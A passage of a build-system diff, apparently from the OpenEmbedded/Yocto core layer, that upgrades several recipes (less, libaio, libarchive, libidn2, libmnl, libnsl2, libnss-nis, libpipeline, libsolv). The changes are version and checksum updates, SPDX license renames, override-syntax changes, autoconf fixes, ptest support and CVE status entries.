-SRC_URI = "git://github.com/iputils/iputils \
- file://0001-ninfod-change-variable-name-to-avoid-colliding-with-.patch \
- file://0001-ninfod-fix-systemd-Documentation-url-error.patch \
- file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \
- file://0001-iputils-Initialize-libgcrypt.patch \
- "
-SRCREV = "13e00847176aa23683d68fce1d17ffb523510946"
-
-S = "${WORKDIR}/git"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>s\d+)"
-
-# Fixed in 2000-10-10, but the versioning of iputils
-# breaks the version order.
-CVE_CHECK_WHITELIST += "CVE-2000-1213 CVE-2000-1214"
-
-PACKAGECONFIG ??= "libcap libgcrypt rarpd \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod traceroute6', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false, libcap"
-PACKAGECONFIG[libgcrypt] = "-DUSE_CRYPTO=gcrypt, -DUSE_CRYPTO=none, libgcrypt"
-PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
-PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
-PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false,"
-PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false,"
-PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_unitdir}/system,,systemd"
-PACKAGECONFIG[traceroute6] = "-DBUILD_TRACEROUTE6=true,-DBUILD_TRACEROUTE6=false,"
-PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
-
-inherit meson systemd update-alternatives
-
-# Have to disable setcap/suid as its not deterministic
-EXTRA_OEMESON += "--prefix=${root_prefix}/ -DNO_SETCAP_OR_SUID=true"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-tftpd ${PN}-rdisc \
- ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-traceroute6 ${PN}-ninfod', '', d)}"
-PACKAGES += "${SPLITPKGS}"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} += "${SPLITPKGS}"
-
-FILES_${PN} = ""
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-arping = "${base_bindir}/arping"
-FILES_${PN}-tracepath = "${base_bindir}/tracepath"
-FILES_${PN}-traceroute6 = "${base_bindir}/traceroute6"
-FILES_${PN}-clockdiff = "${base_bindir}/clockdiff"
-FILES_${PN}-tftpd = "${base_bindir}/tftpd"
-FILES_${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_unitdir}/system/rarpd@.service"
-FILES_${PN}-rdisc = "${base_sbindir}/rdisc"
-FILES_${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh"
-
-SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \
- ${PN}-rdisc"
-SYSTEMD_SERVICE_${PN}-ninfod = "ninfod.service"
-SYSTEMD_SERVICE_${PN}-rdisc = "rdisc.service"
diff --git a/meta/recipes-extended/less/files/run-ptest b/meta/recipes-extended/less/files/run-ptest
new file mode 100644
index 0000000000..42a2869c84
--- /dev/null
+++ b/meta/recipes-extended/less/files/run-ptest
@@ -0,0 +1,3 @@
+#! /bin/sh
+
+./runtest -l /usr/bin/less -t lesstest -O d lt/*
diff --git a/meta/recipes-extended/less/less_562.bb b/meta/recipes-extended/less/less_643.bb
index c900574674..67834bdd58 100644
--- a/meta/recipes-extended/less/less_562.bb
+++ b/meta/recipes-extended/less/less_643.bb
@@ -5,7 +5,7 @@ programs. Less offers many features beyond those that more does."
HOMEPAGE = "http://www.greenwoodsoftware.com/"
SECTION = "console/utils"
-# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less
+# (GPL-2.0-or-later (<< 418), GPL-3.0-or-later (>= 418)) | less
# Including email author giving permissing to use BSD
#
# From: Mark Nudelman <markn@greenwoodsoftware.com>
@@ -19,25 +19,43 @@ SECTION = "console/utils"
# --Mark
#
-LICENSE = "GPLv3+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://LICENSE;md5=ba01d0cab7f62f7f2204c7780ff6a87d \
+LICENSE = "GPL-3.0-or-later | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://LICENSE;md5=1b2446f5c8632bf63a97d7a49750e1c6 \
"
DEPENDS = "ncurses"
SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
- "
+ file://run-ptest \
+ "
-SRC_URI[md5sum] = "0371a9678cb42f37b9bf9b86e8aa7903"
-SRC_URI[sha256sum] = "eab470c7c928132441541aa49b1352c0fc699c30f762dfaeb3bf88e6f0fd701b"
+SRC_URI[sha256sum] = "2911b5432c836fa084c8a2e68f6cd6312372c026a58faaa98862731c8b6052e8"
UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
+inherit autotools ptest update-alternatives
+
+EXTRA_OEMAKE += " LESSTEST=1"
+
inherit autotools update-alternatives
+do_compile_ptest () {
+ cd ${S}/lesstest
+ oe_runmake
+}
+
do_install () {
oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
}
-ALTERNATIVE_${PN} = "less"
+do_install_ptest () {
+ cp ${S}/lesstest/lesstest ${D}${PTEST_PATH}
+ cp ${S}/lesstest/runtest ${D}${PTEST_PATH}
+ cp ${S}/lesstest/lt_screen ${D}${PTEST_PATH}
+ cp -r ${S}/lesstest/lt ${D}${PTEST_PATH}
+}
+
+RDEPENDS:${PN}-ptest:append = " perl-module-getopt-std perl-module-cwd locale-base-en-us"
+
+ALTERNATIVE:${PN} = "less"
ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/libaio/libaio/00_arches.patch b/meta/recipes-extended/libaio/libaio/00_arches.patch
index bec189f87c..18c8c546c1 100644
--- a/meta/recipes-extended/libaio/libaio/00_arches.patch
+++ b/meta/recipes-extended/libaio/libaio/00_arches.patch
@@ -1,4 +1,4 @@
-From ceba1e03e5b57cdae0b3b2d2c9afebc085c986d8 Mon Sep 17 00:00:00 2001
+From 546f2708ffa1aa44018be65172013289cf896710 Mon Sep 17 00:00:00 2001
From: Qing He <qing.he@intel.com>
Date: Fri, 27 Aug 2010 10:15:31 +0800
Subject: [PATCH] libaio: add new recipe
@@ -8,9 +8,9 @@ Upstream-Status: Inappropriate [embedded specific]
from openembedded, added by Qing He <qing.he@intel.com>
---
- src/syscall-m68k.h | 78 ++++++++++++++++++
- src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++++++++++
- src/syscall-parisc.h | 146 +++++++++++++++++++++++++++++++++
+ src/syscall-m68k.h | 78 +++++++++++++++
+ src/syscall-mips.h | 223 +++++++++++++++++++++++++++++++++++++++++++
+ src/syscall-parisc.h | 146 ++++++++++++++++++++++++++++
src/syscall.h | 6 ++
4 files changed, 453 insertions(+)
create mode 100644 src/syscall-m68k.h
@@ -483,12 +483,12 @@ index 0000000..ff61746
+}
+
diff --git a/src/syscall.h b/src/syscall.h
-index 9b9e9c1..9ecd3b4 100644
+index d2a117b..8cf8470 100644
--- a/src/syscall.h
+++ b/src/syscall.h
@@ -29,6 +29,12 @@
#include "syscall-sparc.h"
- #elif defined(__aarch64__) || defined(__riscv)
+ #elif defined(__aarch64__) || defined(__loongarch__) || defined(__riscv)
#include "syscall-generic.h"
+#elif defined(__m68k__)
+#include "syscall-m68k.h"
diff --git a/meta/recipes-extended/libaio/libaio/destdir.patch b/meta/recipes-extended/libaio/libaio/destdir.patch
deleted file mode 100644
index 0f90406bee..0000000000
--- a/meta/recipes-extended/libaio/libaio/destdir.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-from openembedded, added by Qing He <qing.he@intel.com>
-
-Index: libaio-0.3.110/Makefile
-===================================================================
---- libaio-0.3.110.orig/Makefile
-+++ libaio-0.3.110/Makefile
-@@ -15,7 +15,7 @@ all:
- @$(MAKE) -C src
-
- install:
-- @$(MAKE) -C src install prefix=$(prefix) includedir=$(includedir) libdir=$(libdir)
-+ @$(MAKE) -C src install prefix=$(DESTDIR)$(prefix) includedir=$(DESTDIR)$(includedir) libdir=$(DESTDIR)$(libdir)
-
- check:
- @$(MAKE) -C harness check
diff --git a/meta/recipes-extended/libaio/libaio/system-linkage.patch b/meta/recipes-extended/libaio/libaio/system-linkage.patch
index 0b1f475697..cc91ea99d9 100644
--- a/meta/recipes-extended/libaio/libaio/system-linkage.patch
+++ b/meta/recipes-extended/libaio/libaio/system-linkage.patch
@@ -12,26 +12,22 @@ undefined reference to `__stack_chk_fail_local'
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
---
- src/Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/Makefile b/src/Makefile
-index eadb336..56ab701 100644
+index 37ae219..22e0c9a 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -3,10 +3,10 @@ includedir=$(prefix)/include
- libdir=$(prefix)/lib
-
- CFLAGS ?= -g -fomit-frame-pointer -O2
--CFLAGS += -nostdlib -nostartfiles -Wall -I. -fPIC
-+CFLAGS += -Wall -I. -fPIC
+@@ -6,7 +6,7 @@ CFLAGS ?= -g -fomit-frame-pointer -O2
+ CFLAGS += -Wall -I. -fPIC
SO_CFLAGS=-shared $(CFLAGS)
L_CFLAGS=$(CFLAGS)
-LINK_FLAGS=
+LINK_FLAGS=$(LDFLAGS)
LINK_FLAGS+=$(LDFLAGS)
+ ENABLE_SHARED ?= 1
- soname=libaio.so.1
--
-2.1.4
+2.25.1
diff --git a/meta/recipes-extended/libaio/libaio_0.3.111.bb b/meta/recipes-extended/libaio/libaio_0.3.113.bb
index 8e1cd349a0..87ab22ed17 100644
--- a/meta/recipes-extended/libaio/libaio_0.3.111.bb
+++ b/meta/recipes-extended/libaio/libaio_0.3.113.bb
@@ -2,16 +2,15 @@ SUMMARY = "Asynchronous I/O library"
DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
-SRC_URI = "git://pagure.io/libaio.git;protocol=https \
+SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \
file://00_arches.patch \
- file://destdir.patch \
file://libaio_fix_for_mips_syscalls.patch \
file://system-linkage.patch \
"
-SRCREV = "f66be22ab0a59a39858900ab72a8c6a6e8b0b7ec"
+SRCREV = "1b18bfafc6a2f7b9fa2c6be77a95afed8b7be448"
S = "${WORKDIR}/git"
EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
diff --git a/meta/recipes-extended/libarchive/libarchive/configurehack.patch b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
new file mode 100644
index 0000000000..f3989d99eb
--- /dev/null
+++ b/meta/recipes-extended/libarchive/libarchive/configurehack.patch
@@ -0,0 +1,49 @@
+To work with autoconf 2.73, tweak the macro ordering in configure.in.
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: libarchive-3.6.2/configure.ac
+===================================================================
+--- libarchive-3.6.2.orig/configure.ac
++++ libarchive-3.6.2/configure.ac
+@@ -357,6 +357,19 @@ if test "x$with_bz2lib" != "xno"; then
+ esac
+ fi
+
++# Checks for typedefs, structures, and compiler characteristics.
++AC_C_CONST
++# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
++# and MSVC. Use a customized version.
++la_TYPE_UID_T
++AC_TYPE_MODE_T
++# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
++# most systems... default to "long long" instead.
++AC_CHECK_TYPE(off_t, [long long])
++AC_TYPE_SIZE_T
++AC_CHECK_TYPE(id_t, [unsigned long])
++AC_CHECK_TYPE(uintptr_t, [unsigned int])
++
+ AC_ARG_WITH([libb2],
+ AS_HELP_STRING([--without-libb2], [Don't build support for BLAKE2 through libb2]))
+
+@@ -558,19 +571,6 @@ LDFLAGS=$save_LDFLAGS
+
+ AC_SUBST(GC_SECTIONS)
+
+-# Checks for typedefs, structures, and compiler characteristics.
+-AC_C_CONST
+-# la_TYPE_UID_T defaults to "int", which is incorrect for MinGW
+-# and MSVC. Use a customized version.
+-la_TYPE_UID_T
+-AC_TYPE_MODE_T
+-# AC_TYPE_OFF_T defaults to "long", which limits us to 4GB files on
+-# most systems... default to "long long" instead.
+-AC_CHECK_TYPE(off_t, [long long])
+-AC_TYPE_SIZE_T
+-AC_CHECK_TYPE(id_t, [unsigned long])
+-AC_CHECK_TYPE(uintptr_t, [unsigned int])
+-
+ # Check for tm_gmtoff in struct tm
+ AC_CHECK_MEMBERS([struct tm.tm_gmtoff, struct tm.__tm_gmtoff],,,
+ [
diff --git a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb b/meta/recipes-extended/libarchive/libarchive_3.7.2.bb
index dbfc067b93..91f521fa4d 100644
--- a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb
+++ b/meta/recipes-extended/libarchive/libarchive_3.7.2.bb
@@ -3,19 +3,14 @@ DESCRIPTION = "C library and command-line tools for reading and writing tar, cpi
HOMEPAGE = "http://www.libarchive.org/"
SECTION = "devel"
LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fe01f5e02b1f0cc934d593a7b0ddceb6"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d499814247adaee08d88080841cb5665"
DEPENDS = "e2fsprogs-native"
-PACKAGECONFIG ?= "zlib bz2 xz lzo"
-
-PACKAGECONFIG_append_class-target = "\
- libxml2 \
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
+PACKAGECONFIG ?= "zlib bz2 xz zstd ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)}"
DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
+DEPENDS_BZIP2:class-target = "bzip2"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
@@ -23,25 +18,31 @@ PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
+PACKAGECONFIG[libb2] = "--with-libb2,--without-libb2,libb2,"
PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd,"
-EXTRA_OECONF += "--enable-largefile"
+EXTRA_OECONF += "--enable-largefile --without-iconv"
SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
+SRC_URI += "file://configurehack.patch"
+UPSTREAM_CHECK_URI = "http://libarchive.org/"
+
+SRC_URI[sha256sum] = "df404eb7222cf30b4f8f93828677890a2986b66ff8bf39dac32a804e96ddf104"
-SRC_URI[sha256sum] = "ee1e749213c108cb60d53147f18c31a73d6717d7e3d2481c157e1b34c881ea39"
+CVE_STATUS[CVE-2023-30571] = "upstream-wontfix: upstream has documented that reported function is not thread-safe"
inherit autotools update-alternatives pkgconfig
CPPFLAGS += "-I${WORKDIR}/extra-includes"
do_configure[cleandirs] += "${WORKDIR}/extra-includes"
-do_configure_prepend() {
+do_configure:prepend() {
# We just need the headers for some type constants, so no need to
# build all of e2fsprogs for the target
cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
@@ -50,16 +51,16 @@ do_configure_prepend() {
ALTERNATIVE_PRIORITY = "80"
PACKAGES =+ "bsdtar"
-FILES_bsdtar = "${bindir}/bsdtar"
+FILES:bsdtar = "${bindir}/bsdtar"
-ALTERNATIVE_bsdtar = "tar"
+ALTERNATIVE:bsdtar = "tar"
ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
PACKAGES =+ "bsdcpio"
-FILES_bsdcpio = "${bindir}/bsdcpio"
+FILES:bsdcpio = "${bindir}/bsdcpio"
-ALTERNATIVE_bsdcpio = "cpio"
+ALTERNATIVE:bsdcpio = "cpio"
ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.0.bb b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
index 7adf924aeb..7ae933e047 100644
--- a/meta/recipes-extended/libidn/libidn2_2.3.0.bb
+++ b/meta/recipes-extended/libidn/libidn2_2.3.7.bb
@@ -2,16 +2,17 @@ SUMMARY = "Internationalized Domain Name support library"
DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
HOMEPAGE = "http://www.gnu.org/software/libidn/"
SECTION = "libs"
-LICENSE = "(GPLv2+ | LGPLv3) & GPLv3+"
+LICENSE = "(GPL-2.0-or-later | LGPL-3.0-only) & GPL-3.0-or-later & Unicode-DFS-2016"
LIC_FILES_CHKSUM = "file://COPYING;md5=2d834ea7d480438ada04e5d846152395 \
file://COPYING.LESSERv3;md5=e6a600fd5e1d9cbde2d983680233ad02 \
file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/idn2.c;endline=16;md5=426b74d6deb620ab6d39c8a6efd4c13a \
- file://lib/idn2.h.in;endline=27;md5=c2cd28d3f87260f157f022eabb83714f"
+ file://COPYING.unicode;md5=684cf5f7e3fded3546679424528261a9 \
+ file://src/idn2.c;endline=16;md5=afc1531bda991ba6338e33a7eff758a0 \
+ file://lib/idn2.h.in;endline=27;md5=f88d218005a5c45b68a83cecb5bd7f26 \
+ "
SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
-SRC_URI[md5sum] = "01c5084995295e519f95978ae9785ee0"
-SRC_URI[sha256sum] = "e1cb1db3d2e249a6a3eb6f0946777c2e892d5c5dc7bd91c74394fc3a01cab8b5"
+SRC_URI[sha256sum] = "4c21a791b610b9519b9d0e12b8097bf2f359b12f8dd92647611a929e6bfd7d64"
DEPENDS = "virtual/libiconv libunistring"
@@ -21,12 +22,12 @@ EXTRA_OECONF += "--disable-rpath \
--with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
"
-do_install_append() {
+do_install:append() {
# Need to remove any duplicate whitespace too for reproducibility
sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
}
-LICENSE_${PN} = "(GPLv2+ | LGPLv3)"
-LICENSE_${PN}-bin = "GPLv3+"
+LICENSE:${PN} = "(GPL-2.0-or-later | LGPL-3.0-only) & Unicode-DFS-2016"
+LICENSE:${PN}-bin = "GPL-3.0-or-later"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
index b55bb311f6..748326c0a0 100644
--- a/meta/recipes-extended/libmnl/libmnl_1.0.4.bb
+++ b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
@@ -3,12 +3,11 @@ DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, p
functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs."
HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html"
SECTION = "libs"
-LICENSE = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2;name=tar"
-SRC_URI[tar.md5sum] = "be9b4b5328c6da1bda565ac5dffadb2d"
-SRC_URI[tar.sha256sum] = "171f89699f286a5854b72b91d06e8f8e3683064c5901fb09d954a9ab6f551f81"
+SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2"
+SRC_URI[sha256sum] = "274b9b919ef3152bfb3da3a13c950dd60d6e2bcd54230ffeca298d03b40d0525"
inherit autotools pkgconfig
diff --git a/meta/recipes-extended/libnsl/libnsl2_git.bb b/meta/recipes-extended/libnsl/libnsl2_git.bb
index badb71d977..8cc1f7cec3 100644
--- a/meta/recipes-extended/libnsl/libnsl2_git.bb
+++ b/meta/recipes-extended/libnsl/libnsl2_git.bb
@@ -5,16 +5,16 @@ SUMMARY = "Library containing NIS functions using TI-RPC (IPv6 enabled)"
DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\
it was part of glibc and now is standalone packages. it also supports IPv6"
HOMEPAGE = "https://github.com/thkukuk/libnsl"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS = "libtirpc"
-PV = "1.3.0"
+PV = "2.0.1"
-SRCREV = "fbad7b36acaa89a54023930af70805649f962999"
+SRCREV = "d4b22e54b5e6637a69b26eab5faad2a326c9b182"
-SRC_URI = "git://github.com/thkukuk/libnsl \
+SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/libnss-nis/libnss-nis.bb b/meta/recipes-extended/libnss-nis/libnss-nis.bb
index a1d914e871..f0e687c330 100644
--- a/meta/recipes-extended/libnss-nis/libnss-nis.bb
+++ b/meta/recipes-extended/libnss-nis/libnss-nis.bb
@@ -8,16 +8,16 @@ This code was formerly part of glibc, but is now standalone to\
be able to link against TI-RPC for IPv6 support."
HOMEPAGE = "https://github.com/thkukuk/libnss_nis"
-LICENSE = "LGPL-2.1"
+LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
SECTION = "libs"
DEPENDS += "libtirpc libnsl2"
-PV = "3.1+git${SRCPV}"
+PV = "3.2"
-SRCREV = "062f31999b35393abf7595cb89dfc9590d5a42ad"
+SRCREV = "cd0d391af9535b56e612ed227c1b89be269f3d59"
-SRC_URI = "git://github.com/thkukuk/libnss_nis \
+SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https \
"
S = "${WORKDIR}/git"
@@ -28,4 +28,4 @@ BBCLASSEXTEND += "native nativesdk"
#
# We will skip parsing this packagegeoup for non-glibc systems
#
-COMPATIBLE_HOST_libc-musl = 'null'
+COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
new file mode 100644
index 0000000000..e61e5aa869
--- /dev/null
+++ b/meta/recipes-extended/libpipeline/libpipeline/autoconf-2.73.patch
@@ -0,0 +1,24 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next libpipeline upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: findutils-4.9.0/gl/m4/largefile.m4
+===================================================================
+--- findutils-4.9.0.orig/gl/m4/largefile.m4
++++ findutils-4.9.0/gl/m4/largefile.m4
+@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
index a182461607..7e3f13ebde 100644
--- a/meta/recipes-extended/libpipeline/libpipeline_1.5.2.bb
+++ b/meta/recipes-extended/libpipeline/libpipeline_1.5.7.bb
@@ -3,12 +3,12 @@ DESCRIPTION = "This is a C library for setting up and running pipelines of proce
without needing to involve shell command-line parsing which is often \
error-prone and insecure."
HOMEPAGE = "http://libpipeline.nongnu.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
-SRC_URI[md5sum] = "169de4cc1f6f7f7d430a5bed858b2fd3"
-SRC_URI[sha256sum] = "fd59c649c1ae9d67604d1644f116ad4d297eaa66f838e3dfab96b41e85b059fb"
+SRC_URI += "file://autoconf-2.73.patch"
+SRC_URI[sha256sum] = "b8b45194989022a79ec1317f64a2a75b1551b2a55bea06f67704cb2a2e4690b0"
inherit pkgconfig autotools
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
new file mode 100644
index 0000000000..6f0dea2e9c
--- /dev/null
+++ b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
@@ -0,0 +1,34 @@
+From 06321f1a2aa89b8e028946e793344657eaad0165 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 28 Oct 2021 22:28:45 -0700
+Subject: [PATCH] utils: Conside musl when wrapping qsort_r
+
+musl now has implemented qsort_r, the signature however matches glibc
+and not BSD, current check makes it such that it falls into BSD case
+when building for musl, which clearly is wrong, therefore instead of
+just checking for glibc check for linux to decide which qsort_r
+signature to use. This covers both glibc and musl
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/util.c b/src/util.c
+index 72426e09..8f29bc5a 100644
+--- a/src/util.c
++++ b/src/util.c
+@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state)
+
+ see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html
+ */
+-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
++#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
+
+ void
+ solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard)
+--
+2.33.1
+
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.14.bb b/meta/recipes-extended/libsolv/libsolv_0.7.14.bb
deleted file mode 100644
index 5179d4565a..0000000000
--- a/meta/recipes-extended/libsolv/libsolv_0.7.14.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Library for solving packages and reading repositories"
-HOMEPAGE = "https://github.com/openSUSE/libsolv"
-BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
-SECTION = "devel"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
-
-DEPENDS = "expat zlib"
-
-SRC_URI = "git://github.com/openSUSE/libsolv.git \
-"
-
-SRCREV = "b264537ea43ce39d93d8d97fcca16e97825beaa0"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
-PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON -DENABLE_RPMDB_BDB=ON,,rpm"
-
-EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON"
-
